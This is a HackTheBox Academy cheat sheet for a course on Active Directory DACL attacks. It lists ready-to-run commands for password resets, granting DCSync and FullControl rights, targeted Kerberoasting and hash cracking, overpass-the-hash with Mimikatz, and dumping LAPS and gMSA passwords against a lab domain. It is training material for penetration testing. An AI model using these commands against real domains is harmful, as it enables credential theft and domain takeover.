HACKTHEBOX

DACL ATTACKS I

CHEAT SHEET

Abusing DACLs from Windows

Command	Description
`$userSID = ConvertTo-SID jose`	Convert a username to SID with PowerView
`Get-DomainObjectAcl -ResolveGUIDs -Identity <IDENTITY> | ?{$_.SecurityIdentifier -eq $userSID}`	Get all ACE's for <IDENTITY> where the rights belongs to $userSID
`Set-DomainUserPassword -Identity jose -AccountPassword $((ConvertTo-SecureString 'NewPassword' -AsPlainText -Force)) -Verbose`	Perform a Password reset to Jose
`Get-DomainObject -Identity LAPS10 -Properties "ms-mcs-AdmPwd",name`	Read Computer LAPS Password using PowerView
`mimikatz.exe privilege::debug "sekurlsa::pth /user:user-dev$ /domain:inlanefreight.local /ntlm:58867088B44350772FEBDB1E3DAD7G40 /run:powershell.exe" exit`	Perform an Overpass-the-Hash (OtH) using Mimikatz

Abusing DACLs from Linux

Command	Description

Command	Description
`python3 examples/dacledit.py -principal jose -target martha -dc-ip 10.129.205.81 inlanefreight.local/user:Password`	Get all DACL for the target Martha where the principal who has rights is Jose
`python3 examples/dacledit.py -principal user -target jose -dc-ip 10.129.205.81 inlanefreight.local/user:Password -action write`	Add User FullControl over the account Jose
`python3 targetedKerberoast.py -vv -d inlanefreight.local -u user -p Password --request-user martha --dc-ip 10.129.205.81 -o martha.txt`	Perform a targeted Kerberoasting Attack against martha and save the hash in martha.txt
`python3 examples/dacledit.py -principal user -target-dn dc=inlanefreight,dc=local -dc-ip 10.129.205.81 inlanefreight.local/user:Password -action write -rights DCSync`	Modify DACL to add user DCSync rights
`hashcat -m 13100 martha.txt /usr/share/wordlists/rockyou.txt --force`	Attempt to crack the Kerberoastable hash
`net rpc group members 'Group Name' -U inlanefreight.local/user%Password -S 10.129.205.81`	Query the group's membership
`net rpc group addmem 'Group Name' jose -U inlanefreight.local/user%Password -S 10.129.205.81`	Add jose to group "Group Name"
`net rpc password jose NewPassword -U inlanefreight.local/user%Password -S 10.129.205.81`	Perform a Password reset to Jose
`python3 laps.py -u user -p Password -l 10.129.205.81 -d inlanefreight.local`	Read All Computer LAPS Password using laps.py
`python3 gMSADumper.py -d inlanefreight.local -l 10.129.205.81 -u user -p Password`	Read All gMSA Password using gMSADumper.py
`python3 examples/owneredit.py -new-owner user -target Jose -dc-ip 10.129.205.81 inlanefreight.local/user:Password -action write`	Change ownership from Jose to user

HTB ACADEMY CHEATSHEET